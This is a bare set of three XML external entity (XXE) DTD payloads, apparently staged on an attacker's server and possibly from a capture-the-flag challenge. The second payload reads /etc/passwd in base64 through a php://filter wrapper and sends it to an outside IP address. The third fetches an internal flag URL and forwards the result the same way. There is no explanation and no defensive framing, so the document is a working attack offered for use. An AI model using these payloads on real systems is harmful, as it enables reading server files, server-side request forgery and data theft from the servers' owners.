XXE my server xml

index1.txt

<!ENTITY % payload "foo">
<!ENTITY % param1 '<!ENTITY &#37; external SYSTEM "http://52.68.169.48/a?%payload;" >' >
%param1;
%external;

index2.txt

<!ENTITY % target SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param '<!ENTITY &#37; send SYSTEM "http://52.68.169.48/a?%target;" >' >
%param;
%send;

index3.txt

<!ENTITY % target SYSTEM "http://175.126.100.208/_827ccb0eea8a706c4c34a16891f84e7b/conn.php?getflag=1">
<!ENTITY % param '<!ENTITY &#37; send SYSTEM "http://52.68.169.48/a?%target;" >' >
%param;
%send;